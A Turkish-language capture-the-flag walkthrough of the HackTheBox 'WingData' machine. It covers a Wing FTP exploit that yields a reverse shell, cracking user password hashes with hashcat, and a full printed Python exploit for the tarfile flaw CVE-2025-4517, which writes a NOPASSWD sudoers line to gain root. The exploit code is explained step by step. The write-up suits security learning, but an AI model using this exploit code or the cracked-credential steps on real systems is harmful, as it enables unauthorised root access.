HTB WİNGDATA

Merhabalar bugün hackthebox wingdata makinesini çözeceğiz

Öncelikle bir port taramasıyla başlıyoruz.

Burada tcp ve ssh portlarının açık olduğunu görüyoruz ve siteye giriyoruz. Siteye girdikten sonra login kısmının çalışmadığını fark ediyoruz ve bir dir taraması atıyoruz.

Login sayfasında ftp server karşılıyor ve nano ile ftp.wingdata.hrb yi host a ekliyoruz.

Buradan login sayfasına giriyoruz ve sayfanın altında ftp serverın versiyonunu öğreniyoruz hemen bir araştırmaya çıkarıyoruz Shell almak için.

```
200      GET      44l      333w    19982c http://wingdata.htb/assets/images/contact-decoration.png
200      GET     186l      505w     4928c http://wingdata.htb/assets/css/owl.css
200      GET     251l     1069w    12492c http://wingdata.htb/index.html
200      GET       4l       64w    23742c http://wingdata.htb/assets/css/fontawesome.css
200      GET     149l      837w    67141c http://wingdata.htb/assets/images/about-left-image.png
200      GET     329l     1996w   148839c http://wingdata.htb/assets/images/banner-right-image.png
200      GET    3448l    10094w    93438c http://wingdata.htb/assets/js/owl-carousel.js
200      GET    3158l     6952w    76080c http://wingdata.htb/assets/css/animated.css
200      GET       7l     1002w    80223c http://wingdata.htb/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET       2l     1283w    86927c http://wingdata.htb/vendor/jquery/jquery.min.js
200      GET     496l     1721w    13281c http://wingdata.htb/assets/js/imagesloaded.js
200      GET     193l      571w     5974c http://wingdata.htb/assets/js/animation.js
200      GET    1577l     3269w    31620c http://wingdata.htb/assets/css/templatemo-space-dynamic.css
200      GET   10724l    20204w   204037c http://wingdata.htb/vendor/bootstrap/css/bootstrap.min.css
200      GET     251l     1069w    12492c http://wingdata.htb/
301      GET       9l       29w      353c http://wingdata.htb/assets => http://wingdata.htb/assets/
301      GET       9l       29w      357c http://wingdata.htb/assets/css => http://wingdata.htb/assets/css/
301      GET       9l       29w      359c http://wingdata.htb/assets/fonts => http://wingdata.htb/assets/fonts/
301      GET       9l       29w      360c http://wingdata.htb/assets/images => http://wingdata.htb/assets/images/
301      GET       9l       29w      356c http://wingdata.htb/assets/js => http://wingdata.htb/assets/js/
301      GET       9l       29w      353c http://wingdata.htb/vendor => http://wingdata.htb/vendor/
301      GET       9l       29w      360c http://wingdata.htb/vendor/jquery => http://wingdata.htb/vendor/jquery/
[####################] - 79s   147828/147828  0s      found:23      errors:529
[####################] - 32s    18456/18456   568/s   http://wingdata.htb/
[####################] - 32s    18456/18456   574/s   http://wingdata.htb/assets/
[####################] - 31s    18456/18456   588/s   http://wingdata.htb/assets/css/
[####################] - 31s    18456/18456   587/s   http://wingdata.htb/assets/fonts/
[####################] - 32s    18456/18456   586/s   http://wingdata.htb/assets/images/
```

Shell almak için exploiti buluyoruz.

CVE-2025-47812

Sonrasında dinleyici açıp python3 ile exploiti çalıştırıyoruz ve Shell alıyoruz.

```
┌──(root㉿kali)-[/home/mehmet/Masaüstü]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.89] from (UNKNOWN) [10.129.1.57] 36920
whoami
wingftp
python3 -c 'import pty; pty.spawn("/bin/bash")'
wingftp@wingdata:/opt/wftpserver$ cd
cd
bash: cd: /opt/wingftp: No such file or directory
wingftp@wingdata:/opt/wftpserver$ ls
ls
Data         pid-wftpserver.pid  version.txt  wftp_default_ssh.key
License.txt  README              webadmin     wftp_default_ssl.crt
Log          session             webclient    wftp_default_ssl.key
lua          session_admin       wftpconsole  wftpserver
wingftp@wingdata:/opt/wftpserver$ ls -la
ls -la
total 26504
drwxr-x---  9 wingftp wingftp     4096 Feb 20 17:30 .
drwxr-xr-x  4 root    root        4096 Feb  9 08:19 ..
drwxr-x---  4 wingftp wingftp     4096 Feb 20 17:30 Data
-rwxr-x---  1 wingftp wingftp     4834 Jul 31  2018 License.txt
drwxr-x---  5 wingftp wingftp     4096 Feb 20 17:41 Log
drwxr-x---  2 wingftp wingftp     4096 Feb  9 08:19 lua
-rw-r--r--  1 wingftp wingftp        5 Feb 20 17:30 pid-wftpserver.pid
-rwxr-x---  1 wingftp wingftp     1434 Sep 13  2020 README
drwxr-x---  2 wingftp wingftp     4096 Feb 20 17:41 session
drwxr-x---  2 wingftp wingftp     4096 Feb  9 08:19 session_admin
```

Burada normalde direk user.txt ile karşılaşırdık fakat bu sefer göremiyoruz. Genel bir araştırmaya çıkıyoruz Shell içerisinde

```
-rwxr-x---  1 wingftp wingftp     3272 Nov  2 11:11 wftp_default_ssh.key
-rwxr-x---  1 wingftp wingftp     1342 Nov 22  2017 wftp_default_ssl.crt
-rwxr-x---  1 wingftp wingftp     1675 Nov 22  2017 wftp_default_ssl.key
-rwxr-x---  1 wingftp wingftp 22283682 Mar 26  2025 wftpserver
wingftp@wingdata:/opt/wftpserver$ find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null


wingftp@wingdata:/opt/wftpserver$
wingftp@wingdata:/opt/wftpserver$ find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null
wingftp@wingdata:/opt/wftpserver$ ls -R /opt/wftpserver/Data
ls -R /opt/wftpserver/Data
/opt/wftpserver/Data:
1  _ADMINISTRATOR  bookmark_db  settings.xml  ssh_host_ecdsa_key  ssh_host_key

/opt/wftpserver/Data/1:
groups  portlistener.xml  settings.xml  users

/opt/wftpserver/Data/1/groups:

/opt/wftpserver/Data/1/users:
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

/opt/wftpserver/Data/_ADMINISTRATOR:
admins.xml  settings.xml
wingftp@wingdata:/opt/wftpserver$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
```

Burada kullanıcıları görüyoruz ve kullanıcıların şifresini çekebilir miyiz ona bakacağız.

```
/opt/wftpserver/Data/1:
groups  portlistener.xml  settings.xml  users

/opt/wftpserver/Data/1/groups:

/opt/wftpserver/Data/1/users:
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

/opt/wftpserver/Data/_ADMINISTRATOR:
admins.xml  settings.xml
wingftp@wingdata:/opt/wftpserver$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/gpasswd
wingftp@wingdata:/opt/wftpserver$ cat /opt/wftpserver/Data/1/users/wacky.xml
cat /opt/wftpserver/Data/1/users/wacky.xml
<?xml version="1.0" ?>
```

```
wingftp@wingdata:/tmp$ grep -rE "UserName|Password" /opt/wftpserver/Data/1/users/
<E "UserName|Password" /opt/wftpserver/Data/1/users/
/opt/wftpserver/Data/1/users/maria.xml:        <UserName>maria</UserName>
/opt/wftpserver/Data/1/users/maria.xml:        <EnablePassword>1</EnablePassword>
/opt/wftpserver/Data/1/users/maria.xml:        <Password>a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03<
/Password>
/opt/wftpserver/Data/1/users/maria.xml:        <PasswordLength>0</PasswordLength>
/opt/wftpserver/Data/1/users/maria.xml:        <CanChangePassword>0</CanChangePassword>
/opt/wftpserver/Data/1/users/steve.xml:        <UserName>steve</UserName>
/opt/wftpserver/Data/1/users/steve.xml:        <EnablePassword>1</EnablePassword>
/opt/wftpserver/Data/1/users/steve.xml:        <Password>5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca<
/Password>
/opt/wftpserver/Data/1/users/steve.xml:        <PasswordLength>0</PasswordLength>
/opt/wftpserver/Data/1/users/steve.xml:        <CanChangePassword>0</CanChangePassword>
/opt/wftpserver/Data/1/users/wacky.xml:        <UserName>wacky</UserName>
/opt/wftpserver/Data/1/users/wacky.xml:        <EnablePassword>1</EnablePassword>
/opt/wftpserver/Data/1/users/wacky.xml:        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca<
/Password>
/opt/wftpserver/Data/1/users/wacky.xml:        <PasswordLength>0</PasswordLength>
/opt/wftpserver/Data/1/users/wacky.xml:        <CanChangePassword>0</CanChangePassword>
/opt/wftpserver/Data/1/users/anonymous.xml:        <UserName>anonymous</UserName>
/opt/wftpserver/Data/1/users/anonymous.xml:        <EnablePassword>0</EnablePassword>
/opt/wftpserver/Data/1/users/anonymous.xml:        <Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927
bca</Password>
/opt/wftpserver/Data/1/users/anonymous.xml:        <PasswordLength>0</PasswordLength>
/opt/wftpserver/Data/1/users/anonymous.xml:        <CanChangePassword>0</CanChangePassword>
/opt/wftpserver/Data/1/users/john.xml:        <UserName>john</UserName>
/opt/wftpserver/Data/1/users/john.xml:        <EnablePassword>1</EnablePassword>
/opt/wftpserver/Data/1/users/john.xml:        <Password>c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10</
Password>
```

Burada tüm kullanıcıların şifrelerini hash olarak çekiyoruz şimdi wacky kullanıcısının şifresini kırıp ssh bağlantısı alacağız çünkü ssh portu en başta açıktı bunu unutmuyoruz.

```
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Pl
form #1 [The pocl project]
==================================================================================================

* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12650H, 3698/7460 MB (1024 MB allocatable), 7MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
```

```
32940defd3c3ef70a2dd44a5301ff984c4742f8baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f8baae76ff5b87 ... ingFTP
Time.Started.....: Sun Feb 22 01:53:22 2026 (6 secs)
Time.Estimated ...: Sun Feb 22 01:53:28 2026 (0 secs)
Kernel.Feature ...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2725.5 kH/s (0.21ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14343168/14344385 (99.99%)
Rejected.........: 0/14343168 (0.00%)
Restore.Point....: 14339584/14344385 (99.97%)
Restore.Sub.#1 ...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: !fuzylink! -> !!sexybitch
Hardware.Mon.#1..: Util: 27%

Started: Sun Feb 22 01:53:22 2026
Stopped: Sun Feb 22 01:53:29 2026
```

Şifremizi hashcat ile kırdık artık ssh bağlantısı alacağız.

Başarılı bir ssh bağlantısı aldıktan sonra direk user.txt yi çekiyoruz.

Sudo -l ile root yetkisine bakacağız burada restore komutunu görüyoruz ve bunun için araştırma yapıyoruz.

```
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
```

Araştırma sonucunda bir exploit görüyoruz.

CVE-2025-4517-POC.py

Bu exploiti normal root@kali den zip olarak indirip shellimizde çalıştırıyoruz ve bir bakıyoruz ki root olmuşuz (bu exploitin kodlarını ve mantığını aşağıda inceleyeceğim.)

```
┌──(root㉿kali)-[/tmp]
└─# wget -O exploit.py "https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingD
ata/main/CVE-2025-4517-POC.py"
--2026-02-27 05:38:14--  https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC-HTB-Wing
Data/main/CVE-2025-4517-POC.py
raw.githubusercontent.com (raw.githubusercontent.com) çözümleniyor... 185.199.109.133, 185.199.110
.133, 185.199.108.133, ...
raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443 bağlanılıyor... bağlant
ı kuruldu.
HTTP isteği gönderildi, yanıt bekleniyor... 200 OK
Uzunluk: 6989 (6,8K) [text/plain]
Kayıt yeri: `exploit.py'

exploit.py          100%[===================>]   6,83K  --.-KB/s    içinde 0,001
s

2026-02-27 05:38:14 (12,8 MB/s) - `exploit.py' kaydedildi [6989/6989]


┌──(root㉿kali)-[/tmp]
└─# ls -la exploit.py
-rw-rw-r-- 1 root root 6989 Şub 27 05:38 exploit.py

┌──(root㉿kali)-[/tmp]
└─# scp exploit.py wacky@10.129.7.63:/tmp/exploit.py
wacky@10.129.7.63's password:
exploit.py                                            100% 6989    95.6KB/s   00:00

┌──(root㉿kali)-[/tmp]
└─#
```

```
Data/main/CVE-2025-4517-POC.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... failed: Temporary failure in na
me resolution.
wget: unable to resolve host address 'raw.githubusercontent.com'
wacky@wingdata:/tmp$ ls -la exploit.py
-rw-r--r-- 1 wacky wacky 6989 Feb 26 21:39 exploit.py
wacky@wingdata:/tmp$ python3 exploit.py

    CVE-2025-4517 Tarfile Exploit - WingData HTB
    Privilege Escalation via Symlink + Hardlink Bypass


[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999

[+] Extraction completed
[*] Verifying exploit success...
```

Bunun sonucunda direk root olduk ve root.txt yi çektik txt çekme kısımlarını paylaşmıyorum.

EXPLOİT İNCELEME

Şimdi root.txt olmak için kullandığımız exploiti inceleyeceğim.

#!/usr/bin/env python3

"""

```
CVE-2025-4517 Privilege Escalation Exploit for WingData HTB
Exploits tarfile symlink bypass via hardlink to write to /etc/sudoers
Author: Based on public PoCs
Target: Python 3.8.0 - 3.13.1 with tarfile filter bypass
"""

import tarfile
import os
import io
import sys
import subprocess

def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
    CVE-2025-4517 Tarfile Exploit - WingData HTB          ╚═══╗
    Privilege Escalation via Symlink + Hardlink Bypass    ╔═══╗
╚═══════════════════════════════════════════════════════════════╝
    """)

def create_exploit_tar(username, output_file):
```

```
    """
    Creates a malicious tar archive that exploits CVE-2025-4517
    to write arbitrary content to /etc/sudoers
    """
    print(f"[*] Creating exploit tar for user: {username}")

    # Create deep directory structure to confuse path resolution
    comp = 'd' * 247  # Very long directory name
    steps = "abcdefghijklmnop"  # 16 levels deep
    path = ""

    # Sudoers entry to add
    sudoers_entry = f"{username} ALL=(ALL) NOPASSWD:
ALL\n".encode()

    with tarfile.open(output_file, mode="w") as tar:
        # Phase 1: Create deep nested directories with symlink loops
        print("[*] Phase 1: Building nested directory structure...")
        for i in steps:
            # Create very long-named directory
            a = tarfile.TarInfo(os.path.join(path, comp))
            a.type = tarfile.DIRTYPE
            tar.addfile(a)
```

```
    # Create symlink with single letter name pointing to long dir
    # This creates a loop: a -> ddd..., b -> ddd..., etc.
    b = tarfile.TarInfo(os.path.join(path, i))
    b.type = tarfile.SYMTYPE
    b.linkname = comp
    tar.addfile(b)

    path = os.path.join(path, comp)

# Phase 2: Create long symlink chain going up many levels
print("[*] Phase 2: Creating symlink chain for path traversal...")
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)  # Go up 16 levels
tar.addfile(l)

# Phase 3: Final escape symlink pointing to /etc
print("[*] Phase 3: Creating escape symlink to /etc...")
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
```

```
        tar.addfile(e)

        # Phase 4: Create HARDLINK pointing through escape to sudoers
        print("[*] Phase 4: Creating hardlink to /etc/sudoers...")
        f = tarfile.TarInfo("sudoers_link")
        f.type = tarfile.LNKTYPE
        f.linkname = "escape/sudoers"
        tar.addfile(f)

        # Phase 5: Write actual content - goes to hardlinked inode
        print("[*] Phase 5: Writing sudoers entry...")
        c = tarfile.TarInfo("sudoers_link")
        c.type = tarfile.REGTYPE
        c.size = len(sudoers_entry)
        tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))

    print(f"[+] Exploit tar created: {output_file}")
    return output_file

def deploy_and_execute(tar_file, backup_id="9999"):
    """
    Deploy the exploit tar and execute via the vulnerable script
    """
```

```
backup_dir = "/opt/backup_clients/backups"
backup_file = f"backup_{backup_id}.tar"
backup_path = os.path.join(backup_dir, backup_file)

print(f"[*] Deploying exploit to: {backup_path}")

# Copy exploit tar to backup directory
try:
    subprocess.run(["cp", tar_file, backup_path], check=True)
    print(f"[+] Exploit deployed successfully")
except subprocess.CalledProcessError:
    print(f"[-] Failed to deploy exploit")
    return False

# Execute the vulnerable restore script
print(f"[*] Triggering extraction via vulnerable script...")
restore_dir = f"restore_pwn_{backup_id}"

cmd = [
    "sudo",
    "/usr/local/bin/python3",
    "/opt/backup_clients/restore_backup_clients.py",
    "-b", backup_file,
```

```
        "-r", restore_dir
    ]

    try:
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
        if result.returncode != 0:
            print(f"[-] Extraction failed: {result.stderr}")
            return False
        print("[+] Extraction completed")
        return True
    except Exception as e:
        print(f"[-] Error executing script: {e}")
        return False

def verify_exploit(username):
    """
    Verify that the exploit worked by checking sudoers
    """
    print(f"[*] Verifying exploit success...")

    try:
        result = subprocess.run(
```

```
            ["sudo", "cat", "/etc/sudoers"],
            capture_output=True,
            text=True,
            check=True
        )

        if username in result.stdout and "NOPASSWD: ALL" in
result.stdout:
            print(f"[+] SUCCESS! User '{username}' added to sudoers")
            print(f"[+] Entry: {username} ALL=(ALL) NOPASSWD: ALL")
            return True
        else:
            print(f"[-] Exploit may have failed - entry not found in
sudoers")
            return False
    except subprocess.CalledProcessError:
        print(f"[-] Could not verify sudoers file")
        return False

def get_root_shell():
    """
    Spawn a root shell
    """
```

```
    print("\n[*] Spawning root shell...")
    print("[*] Run: sudo /bin/bash")
    os.system("sudo /bin/bash")

def main():
    print_banner()

    # Get current username
    username = os.getenv("USER", "wacky")
    print(f"[*] Target user: {username}")

    # Create exploit tar in /tmp
    exploit_tar = "/tmp/cve_2025_4517_exploit.tar"
    create_exploit_tar(username, exploit_tar)

    # Deploy and execute
    if not deploy_and_execute(exploit_tar):
        print("[-] Exploit failed during deployment/execution")
        sys.exit(1)

    # Verify success
    if verify_exploit(username):
        print("\n" + "="*60)
```

```
        print("[+] EXPLOITATION SUCCESSFUL!")
        print(f"[+] User '{username}' now has full sudo privileges")
        print("[+] Get root with: sudo /bin/bash")
        print("="*60 + "\n")

        # Offer to spawn root shell
        response = input("[?] Spawn root shell now? (y/n): ")
        if response.lower() == 'y':
            get_root_shell()
    else:
        print("[-] Exploit verification failed")
        sys.exit(1)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        sys.exit(1)
```

kullandığımız exploit bu sıra geldi exploiti açıklamaya

1- sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py ... (sudo -l sonucumuz)

2- İlk adım olarak bir çıkış escape kapısı oluşturuyor.(escape → /etc)

3- İkinci adım olarak hardlink ile hedef dosyaya bağlanıyor. Tarın içine (sudoers_link (hardlink) → escape/sudoers) bunu koyuyor.

4-Artık sudoers_link aslında /etc/sudoers dosyasının kendisi.

5- Üçüncü adım olarak aynı isimle normal dosya yazıyor(Tar içine tekrar aynı isimle bir dosya koyuyor:

sudoers_link (normal file))

6-Tar extract olurken ne oluyor?

- Önce hardlink oluşturuluyor
- Sonra aynı isimle normal dosya yazılıyor
- Ama bu dosya aslında /etc/sudoers'a bağlı

Yani Yazılan içerik direkt /etc/sudoers içine gidiyor.

SONUÇ: /etc/sudoers dosyasına şu satır ekleniyor:

wacky ALL=(ALL) NOPASSWD: ALL bu artık wacky nin her şeyi şifresiz çalıştırabileceğini gösteriyor.

Bu exploit neden bizi direk root yaptı?

Root tar dosyasını açıyor.

Tar içinden istediğin dosyaya yazabiliyorsun.

Linux'ta root olarak dosyaya yazabiliyorsun.